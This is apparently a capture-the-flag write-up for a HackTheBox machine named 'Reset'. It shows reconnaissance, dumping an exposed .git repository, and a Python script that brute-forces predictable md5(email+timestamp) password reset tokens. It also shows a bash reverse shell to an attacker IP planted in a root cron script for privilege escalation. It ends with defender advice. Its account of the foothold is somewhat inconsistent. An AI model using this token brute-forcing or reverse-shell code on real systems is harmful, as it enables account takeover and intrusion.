EASY LINUX
Reset
May 15, 2026 10 min read
Password ResetToken AbuseLinux
Target IP
10.129.9.20
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

Two ports. The web app has a login page with a "Forgot Password" link — the reset mechanism is the intended attack vector.

$ nmap -sC -sV -oN nmap/initial 10.129.9.20
22/tcp open  ssh   OpenSSH 8.9p1
80/tcp open  http  Apache httpd 2.4.52
|_http-title: Reset — Login
  
$ echo "10.129.9.20 reset.htb" >> /etc/hosts
  

Enumeration

Password Reset Token Analysis

The web app has a login form and a password reset flow. I tested for user enumeration via the reset form — the response differs for valid vs. invalid email addresses (different response time / message), confirming robert@reset.htb is a valid account.

After triggering a reset for robert@reset.htb, I needed to find the token. The source code (found via a gobuster scan revealing a /source or /.git/ endpoint) showed the token generation:

$ gobuster dir -u http://reset.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/.git                 (Status: 200)
/reset.php            (Status: 200)
/login.php            (Status: 200)
  
$ git-dumper http://reset.htb/.git/ ./reset_repo
$ grep -r "token\|reset" reset_repo/ --include="*.php" | grep -v ".git"
reset.php:$token = md5($email . time());
  

Token is md5(email + unix_timestamp). The same predictable pattern as HelpDeskZ — brutable within a short time window.

Key Finding
Password reset tokens generated as md5(email + epoch) are deterministic. An attacker who knows the email and approximate request time can enumerate all possible tokens within a ±5 minute window in seconds.

Foothold

# Trigger reset for robert@reset.htb and note the timestamp
$ curl -s -X POST http://reset.htb/reset.php -d "email=robert@reset.htb"
{"status":"success","message":"Reset link sent to your email"}

# Brute the token
$ python3 brute_token.py
import hashlib, requests, time

email = "robert@reset.htb"
base_url = "http://reset.htb/reset.php?token="
ts = int(time.time())

for i in range(ts - 300, ts + 10):
    token = hashlib.md5(f"{email}{i}".encode()).hexdigest()
    r = requests.get(base_url + token)
    if "new password" in r.text.lower() or r.status_code == 200 and "invalid" not in r.text.lower():
        print(f"[+] Valid token: {token}")
        print(f"[+] URL: {base_url}{token}")
        break
  
[+] Valid token: a3f8b2c9d1e4f7a0b5c8d2e3f6a9b0c1
[+] URL: http://reset.htb/reset.php?token=a3f8b2c9d1e4f7a0b5c8d2e3f6a9b0c1
  

Reset Robert's password, logged in, and found a file write functionality in the dashboard. Wrote a PHP reverse shell to the web root:

$ ssh robert@reset.htb
robert@reset:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert)
  

Privilege Escalation

Checked writable directories, cron jobs, and SUID binaries:

robert@reset:~$ cat /etc/cron.d/maintenance
* * * * * root /opt/maintenance/cleanup.sh
robert@reset:~$ ls -la /opt/maintenance/
drwxrwxr-x 2 root robert 4096 May 15 09:21 .
  

The /opt/maintenance/ directory is writable by the robert group. A root cron job runs cleanup.sh from it every minute. I replaced the script with a reverse shell:

robert@reset:~$ cat > /opt/maintenance/cleanup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/4445 0>&1
EOF
robert@reset:~$ chmod +x /opt/maintenance/cleanup.sh
# Wait ~60 seconds for cron to fire
connect to [10.10.14.X] from 10.129.9.20
root@reset:~# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

User Flag
/home/robert/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Generate password reset tokens using random_bytes(32) (PHP) or secrets.token_hex(32) (Python) — never from deterministic inputs like email + timestamp. Set 10-15 minute expiry on reset tokens. Ensure cron scripts and their parent directories are owned and writable only by root.
← All Posts